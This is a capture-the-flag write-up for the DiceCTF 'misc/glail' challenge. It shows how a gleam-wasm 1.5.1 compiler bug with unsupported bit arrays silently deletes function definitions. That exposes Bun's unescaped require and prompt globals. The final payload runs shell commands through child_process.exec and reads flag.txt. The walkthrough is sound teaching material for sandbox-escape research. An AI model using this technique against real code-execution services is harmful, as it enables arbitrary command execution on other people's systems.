misc/glail
by CygnusX with collaboration from Athryx
Author: BrownieInMotion
pub fn main() { “⭐” }
We are given the following challenge.js
alongside the source for gleam-wasm
version 1.5.1
.
#!/usr/bin/env bun
import init, * as wasm from './gleam/gleam_wasm.js'
void (async () => {
const lines = [prompt('>>> ')]
while (lines.at(-1)) lines.push(prompt('>>> '))
const program = lines.join('\n')
if (program.includes('import')) return console.log('no imports')
if (program.includes('@')) return console.log('no externals')
await init({})
wasm.initialise_panic_hook();
wasm.write_module(0, 'mod', program);
wasm.compile_package(0, 'javascript')
const compiled = wasm.read_compiled_javascript(0, 'mod')
const blob = new Blob([compiled], { type: 'application/javascript' })
console.log(compiled)
const url = URL.createObjectURL(blob)
const module = await import(url)
if (module.main) console.log(module.main())
else console.log('nothing to do')
})()
The program reads in lines of text, verifies that we did not use import
or @
, builds and compiles a gleam module, and compiles to javascript.
The javascript module is imported, and if it contains a main
function, it is executed.
Before working on this challenge I had virtually no knowledge of Gleam
(Just enough to know it was a programming language 😭). So my first steps were to understand what was even going on.
Reading through the gleam language overview, we can define a main
function that prints “Hello World!” as follows:
import gleam/io
pub fn main() {
io.println("Hello, Joe!")
}
Through the docs, I come to realize that gleam
on its own is a very small language and almost everything requires some sort of import
(which is banned). This is problematic as gleam
doesn’t seem to have any alternative to the import keyword for importing external modules.
Gleam
also has external functions and external types which can allow us to call code written in non-gleam
eg: js or erlang.
// An external function that creates an instance of the type
@external(javascript, "./my_package_ffi.mjs", "now")
This uses the banned @
character so it turns out to be a dead end.
I decided to take a step back, and look at some of the details in the files that were provided. Looking through the provided package-lock.json
we can see the gleam
version they used is 1.5.1
:
{
"name": "gleam-wasm",
"version": "1.5.1",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "gleam-wasm",
"version": "1.5.1",
"license": "SEE LICENSE IN LICENCE"
}
}
}
The latest gleam
version as of writing this is 1.9.1
. Since our gleam
compiler compiles to javascript, I wondered if they had patched some compiler output bug which would let us import some kind of gleam
or even js
module.
To me, the author of the challenge would probably put the version one version before the bug was patched, so I focused my attention on v1.6.
An interesting patch found in v1.6’s changelog:
So gleam
escapes certain keywords when compiling to js. This makes sense from a compiler standpoint as we don’t want to override js keywords or builtins.
I tested this behavior myself on some obvious keywords:
pub fn eval() {}
pub fn main() {
eval()
}
compiles to
import { makeError } from "./gleam.mjs";
export function eval$() {
throw makeError(
"todo",
"mod",
1,
"eval",
"`todo` expression evaluated. This code has not yet been implemented.",
{}
)
}
export function main() {
return eval$();
}
So the function eval
is escaped to eval$
.
Checking the gleam
source we find a list of all escaped names.
"await"
| "arguments"
| "break"
| "case"
| "catch"
| "class"
| "const"
| "continue"
| "debugger"
| "default"
| "delete"
| "do"
| "else"
| "enum"
| "export"
| "extends"
| "eval"
| "false"
| "finally"
| "for"
| "function"
| "if"
| "implements"
| "import"
| "in"
| "instanceof"
| "interface"
| "let"
| "new"
| "null"
| "package"
| "private"
| "protected"
| "public"
| "return"
| "static"
| "super"
| "switch"
| "this"
| "throw"
| "true"
| "try"
| "typeof"
| "var"
| "void"
| "while"
| "with"
| "yield"
// `undefined` to avoid any unintentional overriding.
| "undefined"
// `then` to avoid a module that defines a `then` function being
// used as a `thenable` in JavaScript when the module is imported
// dynamically, which results in unexpected behaviour.
// It is rather unfortunate that we have to do this.
| "then"
Looking back at the challenge source, I noticed the script runs using bun.js:
#!/usr/bin/env bun
We noticed that many bun
specific global functions aren’t escaped.
The function prompt
which prompts for user input is an easy one to get a small PoC working on.
The following gleam code
fn prompt() {
}
pub fn main() {
prompt()
}
compiles to
import { makeError } from "./gleam.mjs";
function prompt() {
throw makeError(
"todo",
"mod",
1,
"prompt",
"`todo` expression evaluated. This code has not yet been implemented.",
{}
)
}
export function main() {
return prompt();
}
Ok this does not work. Why? Because we overwrite the prompt function ourselves, so even though it doesn’t get escaped, we need to find a way to not declare it.
Looking back through the patch notes for v1.6 we come across another curious thing:
My teammate, Athryx found that it gets fixed in this commit.
So when using unsupported features the WASM compiler might return incomplete js.
The commit adds the following test to make sure the fix works. Grabbing the code from the test:
fn wibble() {
<<0:16-native>>
}
pub fn main() {
wibble()
}
and putting it into the 1.5.1 compiler, produces:
import { toBitArray } from "./gleam.mjs";
export function main() {
return wibble();
}
Looks like the entire wibble
function has been deleted since non byte aligned bitarrays are unsupported in js.
We can make use of this with the prompt
function from earlier:
fn prompt() {
<<0:16-native>>
}
pub fn main() {
prompt()
}
which compiles to
import { toBitArray } from "./gleam.mjs";
export function main() {
return prompt();
}
Running this on remote as a proof of concept:
Our prompt
function is called!
The next step is to find a function in bun
’s globals that we can call to execute some shell commands.
A quite obvious one is require
which lets us import arbitrary modules.
A common javascript payload for executing shell commands is to use:
require("child_process").exec(cmd, callback)
This executes a shell command stored in cmd
, and calls the function with the command’s error
stdout
and stderr
.
Now we have to find some way to trick the compiler into thinking that the output of require("child_process")
has an exec
attribute.
First, we need to make the compiler think that the return value of require
is a type that has an attribute exec
. The following achieves this:
pub type Mod {
Mod(exec: Nil)
}
pub fn require(a: String) -> Mod {
let a = <<0:16-native>>
Mod(Nil)
}
fn prompt(a: String) -> String {
let a = <<0:16-native>>
"a"
}
pub fn main() {
let mod = require("child_process").exec
}
which compiles to:
import { CustomType as $CustomType, toBitArray } from "./gleam.mjs";
export class Mod extends $CustomType {
constructor(exec) {
super();
this.exec = exec;
}
}
export function main() {
let mod = require("child_process").exec;
return mod;
}
We can see the prompt
and require
functions are deleted because the wasm compiler sets the mode for unsupported features to ignore instead of error as explained above.
So now we have a valid exec
attribute, but we want this attribute to be a function that takes in two parameters: a String and a Callback function to match the signature of javascript’s require('child_process').exec
function. We can achieve this by making exec
be a function type.
pub type Mod {
Mod(exec: fn(String, fn(String, String, String) -> String) -> String)
}
pub fn require(a: String) -> Mod {
let a = <<0:16-native>>
Mod(fn(b: String, c: fn(String, String, String) -> String) { "" })
}
fn prompt(a: String) -> String {
let a = <<0:16-native>>
"a"
}
pub fn main() {
let mod = require("child_process").exec("ls", fn(a:String, b: String, c: String) -> String {"a"})
}
which compiles to
import { CustomType as $CustomType, toBitArray } from "./gleam.mjs";
export class Mod extends $CustomType {
constructor(exec) {
super();
this.exec = exec;
}
}
export function main() {
let mod = require("child_process").exec("ls", (a, b, c) => { return "a"; });
return mod;
}
This passes gleam
’s type checker and now we just need to construct the callback function which prints stdout
. The prompt
function from earlier prompts the user with a string passed in as the first argument. We can use this as a printing function.
The function print_out
calls prompt
with the stdout of the executed command.
Now our payload looks like this:
pub type Mod {
Mod(exec: fn(String, fn(String, String, String) -> String) -> String)
}
pub fn require(a: String) -> Mod {
let a = <<0:16-native>>
Mod(fn(b: String, c: fn(String, String, String) -> String) { "" })
}
fn print_out(err: String, stdout: String, stderr: String) {
prompt(stdout)
}
fn prompt(a: String) -> String {
let a = <<0:16-native>>
"a"
}
pub fn main() {
let mod = require("child_process").exec("ls", print_out)
}
which compiles to
import { CustomType as $CustomType, toBitArray } from "./gleam.mjs";
export class Mod extends $CustomType {
constructor(exec) {
super();
this.exec = exec;
}
}
function print_out(err, stdout, stderr) {
return prompt(stdout);
}
export function main() {
let mod = require("child_process").exec("ls", print_out);
return mod;
}
Running this on remote we get the output of ls
and the challenge is solved!
Final payload
pub type Mod {
Mod(exec: fn(String, fn(String, String, String) -> String) -> String)
}
pub fn require(a: String) -> Mod {
let a = <<0:16-native>>
Mod(fn(b: String, c: fn(String, String, String) -> String) { "" })
}
fn print_out(err: String, stdout: String, stderr: String) {
prompt(stdout)
}
fn prompt(a: String) -> String {
let a = <<0:16-native>>
"a"
}
pub fn main() {
let mod = require("child_process").exec("cat flag.txt", print_out)
}
Special thanks to my teammate Athryx who exploited the unsupported features bug
dice{5f45c2d75de6c5ee}